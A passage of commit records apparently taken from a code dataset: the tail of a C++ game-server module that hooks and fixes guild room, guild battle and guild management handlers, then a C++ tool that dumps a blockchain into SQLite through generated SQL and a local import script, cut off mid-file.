dwMemberSerial);\n        }\n\n        void WINAPIV CGuild::pc_GuildManageRequest(\n            ATF::CPlayer* pPlayer,\n            char byType,\n            unsigned int dwDst,\n            unsigned int dwObj1,\n            unsigned int dwObj2,\n            unsigned int dwObj3,\n            ATF::Info::CPlayerpc_GuildManageRequest1745_ptr next)\n        {\n            if (pPlayer->m_Param.m_pGuild)\n            {\n                next(pPlayer, byType, dwDst, dwObj1, dwObj2, dwObj3);\n            }\n            else\n            {\n                pPlayer->SendMsg_GuildManageResult(-53);\n            }\n        }\n    }\n}\n<commit_msg>Updated fix guild room enter<commit_after>#include \"stdafx.h\"\n\n#include \"Guild.h\"\n#include <ATF\/global.hpp>\n#include <ATF\/CItemStoreManager.hpp>\n\nnamespace GameServer\n{\n    namespace Fixes\n    {\n        void CGuild::load()\n        {\n            enable_hook(&ATF::CGuild::ManageAcceptORRefuseGuildBattle, &CGuild::ManageAcceptORRefuseGuildBattle);\n            enable_hook(&ATF::CPlayer::pc_GuildRoomEnterRequest, &CGuild::pc_GuildRoomEnterRequest);\n            enable_hook(&ATF::CPlayer::pc_GuildRoomOutRequest, &CGuild::pc_GuildRoomOutRequest);\n            enable_hook(&ATF::CPlayer::pc_GuildManageRequest, &CGuild::pc_GuildManageRequest);\n            enable_hook(&ATF::CGuild::ManageExpulseMember, &CGuild::ManageExpulseMember);\n        }\n\n        void CGuild::unload()\n        {\n            cleanup_all_hook();\n        }\n\n        ModuleName_t CGuild::get_name()\n        {\n            static const ModuleName_t name = \"fix_Guild\";\n            return name;\n        }\n\n        char WINAPIV CGuild::ManageAcceptORRefuseGuildBattle(\n            ATF::CGuild * pObj, \n            bool bAccept, \n            ATF::Info::CGuildManageAcceptORRefuseGuildBattle80_ptr next)\n        {\n            UNREFERENCED_PARAMETER(next);\n\n            static const int dwCostBattleGold = 5000;\n\n            char result = 0;\n            do\n            {\n                if (pObj->m_GuildBattleSugestMatter.eState != ATF::_guild_battle_suggest_matter::APPLY_BATTLE_REQUEST_SUGGEST)\n                {\n                    result = 111;\n                    break;\n                }\n                    \n                if (bAccept)\n                {\n                    if (pObj->m_dTotalGold < dwCostBattleGold)\n                    {\n                        result = 116;\n                        break;\n                    }\n\n                    result = ATF::CGuildBattleController::Instance()->Add(\n                        pObj->m_GuildBattleSugestMatter.pkSrc,\n                        pObj->m_GuildBattleSugestMatter.pkDest,\n                        pObj->m_GuildBattleSugestMatter.dwStartTime,\n                        pObj->m_GuildBattleSugestMatter.dwNumber,\n                        pObj->m_GuildBattleSugestMatter.dwMapIdx);\n\n                    if (result)\n                    {\n                        if (result == 112)\n                            result = 119;\n\n                        pObj->m_GuildBattleSugestMatter.pkSrc->PushDQSInGuildBattleCost();\n                        pObj->m_GuildBattleSugestMatter.pkSrc->SendMsg_ApplyGuildBattleResultInform(result, pObj->m_wszName);\n                    }\n                    else\n                    {\n                        pObj->PushDQSDestGuildOutputGuildBattleCost();\n                        if (ATF::CHonorGuild::Instance()->CheckHonorGuild(\n                            pObj->m_GuildBattleSugestMatter.pkSrc->m_byRace, \n                            pObj->m_GuildBattleSugestMatter.pkSrc->m_dwSerial))\n                        {\n                            ATF::CMoneySupplyMgr::Instance()->UpdateHonorGuildMoneyData(1, pObj->m_byRace, dwCostBattleGold);\n                        }\n                    }\n                }\n                else\n                {\n                    pObj->m_GuildBattleSugestMatter.pkSrc->SendMsg_GuildBattleRefused(pObj->m_wszName);\n                    pObj->m_GuildBattleSugestMatter.pkSrc->PushDQSInGuildBattleCost();\n                }\n\n                pObj->m_GuildBattleSugestMatter.pkSrc->m_GuildBattleSugestMatter.Clear();\n                pObj->m_GuildBattleSugestMatter.Clear();\n            } while (false);\n\n            return result;\n        }\n\n        void WINAPIV CGuild::pc_GuildRoomEnterRequest(\n            ATF::CPlayer * pPlayer,\n            ATF::_guildroom_enter_request_clzo * pProtocol,\n            ATF::Info::CPlayerpc_GuildRoomEnterRequest1755_ptr next)\n        {\n            UNREFERENCED_PARAMETER(next);\n\n            auto fnFindNpc = [pPlayer](ATF::CMapItemStoreList* pMapItemStoreList)->bool\n            {\n                for (int j = 0; j < pMapItemStoreList->m_nItemStoreNum; ++j)\n                {\n                    auto& pItemStore = pMapItemStoreList->m_ItemStore[j];\n                    if (!pItemStore.m_bLive)\n                        continue;\n\n                    auto pPosStore = pItemStore.GetStorePos();\n                    for (auto button : pItemStore.m_pRec->m_nNpc_Class)\n                    {\n                        if (button != 44)\n                            continue;\n\n                        if (ATF::Global::Get3DSqrt(pPosStore, pPlayer->m_fCurPos) < 100.0)\n                        {\n                            return true;\n                        }\n                    }\n                }\n\n                return false;\n            };\n\n            char byRetCode = 0;\n            char bySubRetCode = 3;\n            char byMapIndex = 0;\n            int nRoomType = 0;\n            unsigned __int16 wMapLayer = 0;\n            float pfStartPos[3];\n\n            do\n            {\n                if (pPlayer->GetCurSecNum() == -1 || pPlayer->m_bMapLoading)\n                {\n                    byRetCode = 5;\n                    break;\n                }\n\n                if (pPlayer->IsRidingUnit())\n                {\n                    byRetCode = 6;\n                    break;\n                }\n\n                if (pPlayer->m_byStandType == 1)\n                {\n                    byRetCode = 7;\n                    break;\n                }\n\n                if (!pPlayer->m_Param.m_pGuild)\n                {\n                    byRetCode = 1;\n                    break;\n                }\n\n                auto pGuild = pPlayer->m_Param.m_pGuild;\n                if (pProtocol->dwGuildSerial != pGuild->m_dwSerial)\n                {\n                    byRetCode = 1;\n                    break;\n                }\n\n                auto pGuildRoomSystem = ATF::CGuildRoomSystem::GetInstance();\n                if (!pGuildRoomSystem->IsRoomRented(pGuild->m_dwSerial))\n                {\n                    byRetCode = 2;\n                    break;\n                }\n\n                bySubRetCode = pGuildRoomSystem->RoomIn(pGuild->m_dwSerial, pPlayer->m_ObjID.m_wIndex, pPlayer->m_pUserDB->m_dwSerial);\n                if (bySubRetCode)\n                {\n                    byRetCode = 3;\n                    break;\n                }\n\n                ATF::CMapData *pMap = nullptr;\n                char byRoomType;\n                if (!pGuildRoomSystem->GetMapPos(pGuild->m_dwSerial, pfStartPos, pMap, &wMapLayer, &byRoomType))\n                {\n                    pGuildRoomSystem->RoomOut(pGuild->m_dwSerial, pPlayer->m_ObjID.m_wIndex, pPlayer->m_pUserDB->m_dwSerial);\n                    byRetCode = 4;\n                    break;\n                }\n\n                auto nSerial = pPlayer->m_pCurMap->GetMapCode();\n                auto pItemStoreMngInstance = ATF::CItemStoreManager::Instance();\n                auto pItemStoreList = pItemStoreMngInstance->GetMapItemStoreListBySerial(nSerial);\n                if (!pItemStoreList)\n                {\n                    byRetCode = 5;\n                    break;\n                }\n\n                if (!fnFindNpc(pItemStoreList))\n                {\n                    byRetCode = 5;\n                    break;\n                }\n\n                \/\/ SUCESS\n                byRetCode = 10;\n                pMap = pGuildRoomSystem->GetMapData(pPlayer->m_Param.GetRaceCode(), byRoomType);\n                pPlayer->OutOfMap(pMap, wMapLayer, 3, pfStartPos);\n                byMapIndex = pMap->m_pMapSet->m_dwIndex;\n                pGuildRoomSystem->GetRestTime(pGuild->m_dwSerial, &nRoomType);\n            } while (false);\n\n            pPlayer->SendMsg_GuildRoomEnterResult(\n                byRetCode,\n                bySubRetCode,\n                byMapIndex,\n                wMapLayer,\n                pfStartPos,\n                nRoomType);\n        }\n\n        void WINAPIV CGuild::pc_GuildRoomOutRequest(\n            ATF::CPlayer * pPlayer,\n            ATF::_guildroom_out_request_clzo * pProtocol,\n            ATF::Info::CPlayerpc_GuildRoomOutRequest1757_ptr next)\n        {\n            UNREFERENCED_PARAMETER(next);\n            char byResult = 0;\n\n            do\n            {\n                if (pPlayer->GetCurSecNum() == -1 || pPlayer->m_bMapLoading)\n                {\n                    byResult = 4;\n                    break;\n                }\n\n                if (pPlayer->IsRidingUnit())\n                {\n                    byResult = 5;\n                    break;\n                }\n                \n                if (pPlayer->m_byStandType == 1)\n                {\n                    byResult = 6;\n                    break;\n                }\n\n                if (!pPlayer->m_Param.m_pGuild)\n                {\n                    byResult = 1;\n                    break;\n                }\n\n                auto pGuild = pPlayer->m_Param.m_pGuild;\n                if (pProtocol->dwGuildSerial != pGuild->m_dwSerial)\n                {\n                    byResult = 1;\n                    break;\n                }\n\n                auto pGuildRoomSystem = ATF::CGuildRoomSystem::GetInstance();\n                if (!pGuildRoomSystem->IsRoomRented(pGuild->m_dwSerial))\n                {\n                    byResult = 2;\n                    break;\n                }\n                \n                if (!pGuildRoomSystem->RoomIn(pGuild->m_dwSerial, pPlayer->m_ObjID.m_wIndex, pPlayer->m_pUserDB->m_dwSerial))\n                {\n                    byResult = 1;\n                    break;\n                }\n\n                if (!pGuildRoomSystem->SetPlayerOut(pGuild->m_dwSerial, pPlayer->m_ObjID.m_wIndex, pPlayer->m_pUserDB->m_dwSerial))\n                {\n                    byResult = 2;\n                    break;\n                }\n            } while (false);\n\n            if (byResult != 0)\n                pPlayer->SendMsg_GuildRoomOutResult(byResult, 0, 0, nullptr);\n        }\n\n        char WINAPIV CGuild::ManageExpulseMember(\n            ATF::CGuild * pGuild,\n            unsigned int dwMemberSerial,\n            ATF::Info::CGuildManageExpulseMember84_ptr next)\n        {\n            auto pInstance = ATF::GUILD_BATTLE::CNormalGuildBattleManager::Instance();\n            LPVOID pBattle = pInstance->GetBattleByGuildSerial(pGuild->m_dwSerial);\n            if (pBattle)\n            {\n                return 0x6e;\n            }\n\n            return next(pGuild, dwMemberSerial);\n        }\n\n        void WINAPIV CGuild::pc_GuildManageRequest(\n            ATF::CPlayer* pPlayer,\n            char byType,\n            unsigned int dwDst,\n            unsigned int dwObj1,\n            unsigned int dwObj2,\n            unsigned int dwObj3,\n            ATF::Info::CPlayerpc_GuildManageRequest1745_ptr next)\n        {\n            if (pPlayer->m_Param.m_pGuild)\n            {\n                next(pPlayer, byType, dwDst, dwObj1, dwObj2, dwObj3);\n            }\n            else\n            {\n                pPlayer->SendMsg_GuildManageResult(-53);\n            }\n        }\n    }\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Full SQL dump of the blockchain\n\n#include <fstream>\n\n#include <util.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <common.h>\n#include <errlog.h>\n#include <option.h>\n#include <callback.h>\n#include <unistd.h>\n#include <stdint.h>\n#include \"sqlite3pp.h\"\n\nstatic uint8_t empty[kSHA256ByteSize] = { 0x42 };\ntypedef GoogMap<Hash256, uint64_t, Hash256Hasher, Hash256Equal>::Map OutputMap;\n\ninline bool file_exists (const std::string &name)\n{\n    std::ifstream file(name);\n    return (file.good());\n}\n\nstatic void writeEscapedBinaryBuffer(\n    FILE          *f,\n    const uint8_t *p,\n    size_t        n\n)\n{\n    char buf[3];\n    p += n;\n\n    while (n--)\n    {\n        uint8_t c = *(--p);\n        sprintf(buf, \"%02X\", (unsigned char) c);\n        fputs(buf, f);\n    }\n}\n\nstruct SQLDump: public Callback\n{\n    FILE *txFile;\n    FILE *bashFile;\n    FILE *blockFile;\n    FILE *inputFile;\n    FILE *outputFile;\n    FILE *progressFile;\n\n    uint64_t txID;\n    uint64_t blkID;\n    uint64_t inputID;\n    uint64_t outputID;\n    uint64_t cutoffBlock;\n    OutputMap outputMap;\n    optparse::OptionParser parser;\n\n    SQLDump()\n    {\n        parser\n        .usage(\"[options]\")\n        .version(\"\")\n        .description(\"create an SQL dump of the blockchain\")\n        .epilog(\"\")\n        ;\n        parser\n        .add_option(\"-a\", \"--atBlock\")\n        .action(\"store\")\n        .type(\"int\")\n        .set_default(1)\n        .help(\"start dump at block <block> (default: genesis block) - this is ignored if a blockchain database already exists\")\n        ;\n    }\n\n    virtual const char                   *name() const\n    {\n        return \"sqldump\";\n    }\n    virtual const optparse::OptionParser *optionParser() const\n    {\n        return &parser;\n    }\n    virtual bool                         needTXHash() const\n    {\n        return true;\n    }\n\n    virtual void aliases(\n        std::vector<const char *> &v\n    ) const\n    {\n        v.push_back(\"dump\");\n    }\n\n    virtual int init(\n        int argc,\n        const char *argv[]\n    )\n    {\n        txID = 0;\n        blkID = 0;\n        inputID = 0;\n        outputID = 0;\n\n        static uint64_t sz = 32 * 1000 * 1000;\n        outputMap.setEmptyKey(empty);\n        outputMap.resize(sz);\n\n        optparse::Values &values = parser.parse_args(argc, argv);\n        if (!file_exists(\"..\/blockchain\/blockchain.sqlite\"))\n        {\n            cutoffBlock = values.get(\"atBlock\");\n        }\n        else\n        {\n            sqlite3pp::database db(\"..\/blockchain\/blockchain.sqlite\");\n            sqlite3pp::query qry(db, \"SELECT MAX(block_id) FROM blocks\");\n\n            sqlite3pp::query::iterator i = qry.begin();\n\n            cutoffBlock = (uint64_t) atoi((*i).get<char const *>(0)) + 1;\n\n            info(\"Resuming from block %\" PRIu64 \".\\n\", cutoffBlock);\n        }\n\n        info(\"Dumping the blockchain...\");\n\n        txFile = fopen(\"tx.txt\", \"w\");\n        if (!txFile) sysErrFatal(\"Couldn't open file tx.txt for writing\\n\");\n\n        blockFile = fopen(\"blocks.txt\", \"w\");\n        if (!blockFile) sysErrFatal(\"Couldn't open file blocks.txt for writing\\n\");\n\n        inputFile = fopen(\"txin.txt\", \"w\");\n        if (!inputFile) sysErrFatal(\"Couldn't open file txin.txt for writing\\n\");\n\n        outputFile = fopen(\"txout.txt\", \"w\");\n        if (!outputFile) sysErrFatal(\"Couldn't open file txout.txt for writing\\n\");\n\n        FILE *sqlFile = fopen(\"blockchain.sql\", \"w\");\n        if (!sqlFile) sysErrFatal(\"Couldn't open file blockchain.sql for writing\\n\");\n\n        fprintf(\n            sqlFile,\n            \"PRAGMA journal_mode=MEMORY;\\n\"\n            \"PRAGMA synchronous=0;\\n\"\n            \"CREATE TABLE IF NOT EXISTS blocks(\\n\"\n            \"    block_id BIGINT NOT NULL PRIMARY KEY,\\n\"\n            \"    block_hash TEXT NOT NULL,\\n\"\n            \"    time BIGINT NOT NULL\\n\"\n            \");\\n\"\n            \"\\n\"\n            \"CREATE TABLE IF NOT EXISTS tx(\\n\"\n            \"    tx_id BIGINT NOT NULL PRIMARY KEY,\\n\"\n            \"    tx_hash TEXT NOT NULL,\\n\"\n            \"    block_id BIGINT NOT NULL,\\n\"\n            \"    FOREIGN KEY (block_id) REFERENCES blocks (block_id)\\n\"\n            \");\\n\"\n            \"\\n\"\n            \"CREATE TABLE IF NOT EXISTS txout(\\n\"\n            \"    txout_id BIGINT NOT NULL PRIMARY KEY,\\n\"\n            \"    address CHAR(40),\\n\"\n            \"    txout_value BIGINT NOT NULL,\\n\"\n            \"    tx_id BIGINT NOT NULL,\\n\"\n            \"    txout_pos INT NOT NULL,\\n\"\n            \"    FOREIGN KEY (tx_id) REFERENCES tx (tx_id)\\n\"\n            \");\\n\"\n            \"\\n\"\n            \"CREATE TABLE IF NOT EXISTS txin(\\n\"\n            \"    txin_id BIGINT NOT NULL PRIMARY KEY,\\n\"\n            \"    txout_id BIGINT NOT NULL,\\n\"\n            \"    tx_id BIGINT NOT NULL,\\n\"\n            \"    txin_pos INT NOT NULL,\\n\"\n            \"    FOREIGN KEY (tx_id) REFERENCES tx (tx_id)\\n\"\n            \");\\n\"\n            \"CREATE INDEX IF NOT EXISTS x_txin_txout ON txin (txout_id);\\n\"\n            \"CREATE INDEX IF NOT EXISTS x_txout_address ON txout (address);\\n\"\n            \"CREATE INDEX IF NOT EXISTS x_txin_txid ON txin (tx_id);\\n\"\n            \"CREATE INDEX IF NOT EXISTS x_txout_txid ON txout (tx_id);\\n\"\n            \"CREATE INDEX IF NOT EXISTS x_tx_txid ON tx (tx_id);\\n\"\n            \"CREATE INDEX IF NOT EXISTS x_txout_value ON txout(txout_value);\\n\"\n            \"CREATE INDEX IF NOT EXISTS x_blocks_id ON blocks(block_id);\\n\"\n            \"CREATE VIEW IF NOT EXISTS tx_full AS SELECT blocks.time, tx.tx_hash, tx.tx_id, txout.address, txout.txout_value FROM txout LEFT JOIN tx ON (tx.tx_id = txout.tx_id) LEFT JOIN blocks ON (tx.block_id = blocks.block_id);\\n\"\n            \"\\n\"\n        );\n        fclose(sqlFile);\n\n        bashFile = fopen(\"blockchain.sh\", \"w\");\n        if (!bashFile) sysErrFatal(\"Couldn't open file blockchain.sh for writing!\\n\");\n\n        \/\/ EDIT here: using \/run\/shm\/ for performance on a server - modify to local path!\n        fprintf(\n            bashFile,\n            \"\\n\"\n            \"#!\/bin\/bash\\n\"\n            \"\\n\"\n            \"echo 'Recreating DB blockchain...'\\n\"\n            \"rm -f \/run\/shm\/blockchain.sqlite\\n\"\n            \"mkdir ..\/blockchain\\n\"\n            \"cp -f ..\/blockchain\/blockchain.sqlite \/run\/shm\/\\n\"\n            \"sqlite3 \/run\/shm\/blockchain.sqlite < blockchain.sql\\n\"\n            \"echo done\\n\"\n            \"echo\\n\"\n            \"rm -f blockchain.sql\\n\"\n            \"\\n\"\n            \"for i in blocks tx txin txout\\n\"\n            \"do\\n\"\n            \"    echo Importing table $i ...\\n\"\n            \"    echo \\\".import $i.txt $i\\\" | sqlite3 \/run\/shm\/blockchain.sqlite\\n\"\n            \"    echo done\\n\"\n            \"    rm -f $i.txt\\n\"\n            \"    echo\\n\"\n            \"done\\n\"\n            \"mv -f \/run\/shm\/blockchain.sqlite ..\/blockchain\/blockchain.sqlite\\n\"\n            \"rm -f blockchain.sh\\n\"\n            \"\\n\"\n        );\n        fclose(bashFile);\n\n        return 0;\n    }\n\n    virtual void startBlock(\n        const Block *b,\n        uint64_t chainSize\n    )\n    {\n        uint8_t blockHash[kSHA256ByteSize];\n        sha256Twice(blockHash, b->data, 80);\n\n        const uint8_t *p = b->data;\n        SKIP(uint32_t, version, p);\n        SKIP(uint256_t, prevBlkHash, p);\n        SKIP(uint256_t, blkMerkleRoot, p);\n        LOAD(uint32_t, blkTime, p);\n\n        blkID = b->height - 1;\n\n        if (blkID >= cutoffBlock)\n        {\n            \/\/ block_id BIGINT PRIMARY KEY\n            \/\/ block_hash BINARY(32)\n            \/\/ time BIGINT\n            fprintf(blockFile, \"%\" PRIu64 \"|\", blkID);\n\n            writeEscapedBinaryBuffer(blockFile, blockHash, kSHA256ByteSize);\n            fputc('|', blockFile);\n            fprintf(blockFile, \"%\" PRIu64 \"\\n\", (uint64_t)blkTime);\n        }\n        if (0 == (b->height) % 5000)\n        {\n            fprintf(\n                stderr,\n                \"block=%8\" PRIu64 \" \"\n                \"nbOutputs=%9\" PRIu64 \"\\n\",\n                b->height,\n                outputMap.size()\n            );\n        }\n    }\n\n    virtual void startTX(\n        const uint8_t *p,\n        const uint8_t *hash\n    )\n    {\n        if (blkID >= cutoffBlock)\n        {\n            \/\/ tx_id BIGINT PRIMARY KEY\n            \/\/ tx_hash BINARY(32)\n            \/\/ block_id BIGINT\n            fprintf(txFile, \"%\" PRIu64 \"|\", ++txID);\n\n            writeEscapedBinaryBuffer(txFile, hash, kSHA256ByteSize);\n            fputc('|', txFile);\n\n            fprintf(txFile, \"%\" PRIu64 \"\\n\", blkID);\n        } else {\n            txID++;\n        }\n    }\n\n    virtual void endOutput(\n        const uint8_t *p,\n        uint64_t      value,\n        const uint8_t *txHash,\n        uint64_t      outputIndex,\n        const uint8_t *outputScript,\n        uint64_t      outputScriptSize\n    )\n    {\n        uint8_t address[40];\n        address[0] = 'X';\n        address[1] = 0;\n\n        uint8_t addrType[3];\n        uint160_t pubKeyHash;\n        int type = solveOutputScript(pubKeyHash.v, outputScript, outputScriptSize, addrType);\n        if (likely(0 <= type)) hash160ToAddr(address, pubKeyHash.v);\n\n        if (blkID >= cutoffBlock)\n        {\n            \/\/ txout_id BIGINT PRIMARY KEY\n            \/\/ address CHAR(40)\n            \/\/ txout_value BIGINT\n            \/\/ tx_id BIGINT\n            \/\/ txout_pos INT\n            fprintf(\n                outputFile,\n                \"%\" PRIu64 \"|\"\n                \"%s|\"\n                \"%\" PRIu64 \"|\"\n                \"%\" PRIu64 \"|\"\n                \"%\" PRIu32 \"\\n\"\n                ,\n                outputID,\n                address,\n                value,\n                txID,\n                (uint32_t)outputIndex\n            );\n        }\n\n        uint32_t oi = outputIndex;\n        uint8_t *h = allocHash256();\n        memcpy(h, txHash, kSHA256ByteSize);\n\n        uintptr_t ih = reinterpret_cast<uintptr_t>(h);\n        uint32_t *h32 = reinterpret_cast<uint32_t *>(ih);\n        h32[0] ^= oi;\n\n        outputMap[h] = outputID++;\n    }\n\n    virtual void edge(\n        uint64_t      value,\n        const uint8_t *upTXHash,\n        uint64_t      outputIndex,\n        const uint8_t *outputScript,\n        uint64_t      outputScriptSize,\n        const uint8_t *downTXHash,\n        uint64_t      inputIndex,\n        const uint8_t *inputScript,\n        uint64_t      inputScriptSize\n    )\n    {\n        uint256_t h;\n        uint32_t oi = outputIndex;\n        memcpy(h.v, upTXHash, kSHA256ByteSize);\n\n        uintptr_t ih = reinterpret_cast<uintptr_t>(h.v);\n        uint32_t *h32 = reinterpret_cast<uint32_t *>(ih);\n        h32[0] ^= oi;\n\n        auto src = outputMap.find(h.v);\n        if (outputMap.end() == src) errFatal(\"Unconnected input!\");\n\n        if (blkID >= cutoffBlock)\n        {\n            fprintf(\n                inputFile,\n                \"%\" PRIu64 \"|\"\n                \"%\" PRIu64 \"|\"\n                \"%\" PRIu64 \"|\"\n                \"%\" PRIu32 \"\\n\"\n                ,\n                inputID++,\n                src->second,\n                txID,\n                (uint32_t)outputIndex\n            );\n        } else {\n            inputID++;\n        }\n    }\n\n    virtual void wrapup()\n    {\n        fclose(outputFile);\n        fclose(inputFile);\n        fclose(blockFile);\n        fclose(txFile);\n        system(\"chmod +x .\/blockchain.sh\");\n        system(\".\/blockchain.sh\");\n        info(\"Done.\\n\");\n        exit(0);\n    }\n};\n\nstatic SQLDump sqlDump;\n\n<commit_msg>Drop SQLite indices on primary keys.<commit_after>\/\/ Full SQL dump of the blockchain\n\n#include <fstream>\n\n#include <util.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <common.h>\n#include <errlog.h>\n#include <option.h>\n#include <callback.h>\n#include <unistd.h>\n#include <stdint.h>\n#include \"sqlite3pp.h\"\n\nstatic uint8_t empty[kSHA256ByteSize] = { 0x42 };\ntypedef GoogMap<Hash256, uint64_t, Hash256Hasher, Hash256Equal>::Map OutputMap;\n\ninline bool file_exists (const std::string &name)\n{\n    std::ifstream file(name);\n    return (file.good());\n}\n\nstatic void writeEscapedBinaryBuffer(\n    FILE          *f,\n    const uint8_t *p,\n    size_t        n\n)\n{\n    char buf[3];\n    p += n;\n\n    while (n--)\n    {\n        uint8_t c = *(--p);\n        sprintf(buf, \"%02X\", (unsigned char) c);\n        fputs(buf, f);\n    }\n}\n\nstruct SQLDump: public Callback\n{\n    FILE *txFile;\n    FILE *bashFile;\n    FILE *blockFile;\n    FILE *inputFile;\n    FILE *outputFile;\n    FILE *progressFile;\n\n    uint64_t txID;\n    uint64_t blkID;\n    uint64_t inputID;\n    uint64_t outputID;\n    uint64_t cutoffBlock;\n    OutputMap outputMap;\n    optparse::OptionParser parser;\n\n    SQLDump()\n    {\n        parser\n        .usage(\"[options]\")\n        .version(\"\")\n        .description(\"create an SQL dump of the blockchain\")\n        .epilog(\"\")\n        ;\n        parser\n        .add_option(\"-a\", \"--atBlock\")\n        .action(\"store\")\n        .type(\"int\")\n        .set_default(1)\n        .help(\"start dump at block <block> (default: genesis block) - this is ignored if a blockchain database already exists\")\n        ;\n    }\n\n    virtual const char                   *name() const\n    {\n        return \"sqldump\";\n    }\n    virtual const optparse::OptionParser *optionParser() const\n    {\n        return &parser;\n    }\n    virtual bool                         needTXHash() const\n    {\n        return true;\n    }\n\n    virtual void aliases(\n        std::vector<const char *> &v\n    ) const\n    {\n        v.push_back(\"dump\");\n    }\n\n    virtual int init(\n        int argc,\n        const char *argv[]\n    )\n    {\n        txID = 0;\n        blkID = 0;\n        inputID = 0;\n        outputID = 0;\n\n        static uint64_t sz = 32 * 1000 * 1000;\n        outputMap.setEmptyKey(empty);\n        outputMap.resize(sz);\n\n        optparse::Values &values = parser.parse_args(argc, argv);\n        if (!file_exists(\"..\/blockchain\/blockchain.sqlite\"))\n        {\n            cutoffBlock = values.get(\"atBlock\");\n        }\n        else\n        {\n            sqlite3pp::database db(\"..\/blockchain\/blockchain.sqlite\");\n            sqlite3pp::query qry(db, \"SELECT MAX(block_id) FROM blocks\");\n\n            sqlite3pp::query::iterator i = qry.begin();\n\n            cutoffBlock = (uint64_t) atoi((*i).get<char const *>(0)) + 1;\n\n            info(\"Resuming from block %\" PRIu64 \".\\n\", cutoffBlock);\n        }\n\n        info(\"Dumping the blockchain...\");\n\n        txFile = fopen(\"tx.txt\", \"w\");\n        if (!txFile) sysErrFatal(\"Couldn't open file tx.txt for writing\\n\");\n\n        blockFile = fopen(\"blocks.txt\", \"w\");\n        if (!blockFile) sysErrFatal(\"Couldn't open file blocks.txt for writing\\n\");\n\n        inputFile = fopen(\"txin.txt\", \"w\");\n        if (!inputFile) sysErrFatal(\"Couldn't open file txin.txt for writing\\n\");\n\n        outputFile = fopen(\"txout.txt\", \"w\");\n        if (!outputFile) sysErrFatal(\"Couldn't open file txout.txt for writing\\n\");\n\n        FILE *sqlFile = fopen(\"blockchain.sql\", \"w\");\n        if (!sqlFile) sysErrFatal(\"Couldn't open file blockchain.sql for writing\\n\");\n\n        fprintf(\n            sqlFile,\n            \"PRAGMA journal_mode=MEMORY;\\n\"\n            \"PRAGMA synchronous=0;\\n\"\n            \"CREATE TABLE IF NOT EXISTS blocks(\\n\"\n            \"    block_id BIGINT NOT NULL PRIMARY KEY,\\n\"\n            \"    block_hash TEXT NOT NULL,\\n\"\n            \"    time BIGINT NOT NULL\\n\"\n            \");\\n\"\n            \"\\n\"\n            \"CREATE TABLE IF NOT EXISTS tx(\\n\"\n            \"    tx_id BIGINT NOT NULL PRIMARY KEY,\\n\"\n            \"    tx_hash TEXT NOT NULL,\\n\"\n            \"    block_id BIGINT NOT NULL,\\n\"\n            \"    FOREIGN KEY (block_id) REFERENCES blocks (block_id)\\n\"\n            \");\\n\"\n            \"\\n\"\n            \"CREATE TABLE IF NOT EXISTS txout(\\n\"\n            \"    txout_id BIGINT NOT NULL PRIMARY KEY,\\n\"\n            \"    address CHAR(40),\\n\"\n            \"    txout_value BIGINT NOT NULL,\\n\"\n            \"    tx_id BIGINT NOT NULL,\\n\"\n            \"    txout_pos INT NOT NULL,\\n\"\n            \"    FOREIGN KEY (tx_id) REFERENCES tx (tx_id)\\n\"\n            \");\\n\"\n            \"\\n\"\n            \"CREATE TABLE IF NOT EXISTS txin(\\n\"\n            \"    txin_id BIGINT NOT NULL PRIMARY KEY,\\n\"\n            \"    txout_id BIGINT NOT NULL,\\n\"\n            \"    tx_id BIGINT NOT NULL,\\n\"\n            \"    txin_pos INT NOT NULL,\\n\"\n            \"    FOREIGN KEY (tx_id) REFERENCES tx (tx_id)\\n\"\n            \");\\n\"\n            \"CREATE INDEX IF NOT EXISTS x_txin_txout ON txin (txout_id);\\n\"\n            \"CREATE INDEX IF NOT EXISTS x_txout_address ON txout (address);\\n\"\n            \"CREATE INDEX IF NOT EXISTS x_txin_txid ON txin (tx_id);\\n\"\n            \"CREATE INDEX IF NOT EXISTS x_txout_txid ON txout (tx_id);\\n\"\n            \"CREATE INDEX IF NOT EXISTS x_txout_value ON txout (txout_value);\\n\"\n            \"CREATE VIEW IF NOT EXISTS tx_full AS SELECT blocks.time, tx.tx_hash, tx.tx_id, txout.address, txout.txout_value FROM txout LEFT JOIN tx ON (tx.tx_id = txout.tx_id) LEFT JOIN blocks ON (tx.block_id = blocks.block_id);\\n\"\n            \"\\n\"\n        );\n        fclose(sqlFile);\n\n        bashFile = fopen(\"blockchain.sh\", \"w\");\n        if (!bashFile) sysErrFatal(\"Couldn't open file blockchain.sh for writing!\\n\");\n\n        \/\/ EDIT here: using \/run\/shm\/ for performance on a server - modify to local path!\n        fprintf(\n            bashFile,\n            \"\\n\"\n            \"#!\/bin\/bash\\n\"\n            \"\\n\"\n            \"echo 'Recreating DB blockchain...'\\n\"\n            \"rm -f \/run\/shm\/blockchain.sqlite\\n\"\n            \"mkdir ..\/blockchain\\n\"\n            \"cp -f ..\/blockchain\/blockchain.sqlite \/run\/shm\/\\n\"\n            \"sqlite3 \/run\/shm\/blockchain.sqlite < blockchain.sql\\n\"\n            \"echo done\\n\"\n            \"echo\\n\"\n            \"rm -f blockchain.sql\\n\"\n            \"\\n\"\n            \"for i in blocks tx txin txout\\n\"\n            \"do\\n\"\n            \"    echo Importing table $i ...\\n\"\n            \"    echo \\\".import $i.txt $i\\\" | sqlite3 \/run\/shm\/blockchain.sqlite\\n\"\n            \"    echo done\\n\"\n            \"    rm -f $i.txt\\n\"\n            \"    echo\\n\"\n            \"done\\n\"\n            \"mv -f \/run\/shm\/blockchain.sqlite ..\/blockchain\/blockchain.sqlite\\n\"\n            \"rm -f blockchain.sh\\n\"\n            \"\\n\"\n        );\n        fclose(bashFile);\n\n        return 0;\n    }\n\n    virtual void startBlock(\n        const Block *b,\n        uint64_t chainSize\n    )\n    {\n        uint8_t blockHash[kSHA256ByteSize];\n        sha256Twice(blockHash, b->data, 80);\n\n        const uint8_t *p = b->data;\n        SKIP(uint32_t, version, p);\n        SKIP(uint256_t, prevBlkHash, p);\n        SKIP(uint256_t, blkMerkleRoot, p);\n        LOAD(uint32_t, blkTime, p);\n\n        blkID = b->height - 1;\n\n        if (blkID >= cutoffBlock)\n        {\n            \/\/ block_id BIGINT PRIMARY KEY\n            \/\/ block_hash BINARY(32)\n            \/\/ time BIGINT\n            fprintf(blockFile, \"%\" PRIu64 \"|\", blkID);\n\n            writeEscapedBinaryBuffer(blockFile, blockHash, kSHA256ByteSize);\n            fputc('|', blockFile);\n            fprintf(blockFile, \"%\" PRIu64 \"\\n\", (uint64_t)blkTime);\n        }\n        